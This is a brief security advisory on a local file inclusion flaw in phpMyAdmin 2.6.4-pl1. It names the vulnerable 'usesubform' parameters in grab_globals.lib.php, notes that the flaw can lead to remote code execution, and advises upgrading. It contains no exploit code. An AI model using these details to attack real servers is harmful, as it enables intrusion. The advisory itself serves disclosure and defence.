Local File Inclusion Vulnerability in phpMyAdmin 2.6.4-pl1

A local file inclusion vulnerability exists in phpMyAdmin 2.6.4-pl1. An attacker can exploit this vulnerability to include arbitrary files from the local system, which can lead to remote code execution. The vulnerability is due to insufficient sanitization of user-supplied input to the 'usesubform[1]' and 'usesubform[2]' parameters in the 'grab_globals.lib.php' script.

Mitigation:

Upgrade to the latest version of phpMyAdmin.
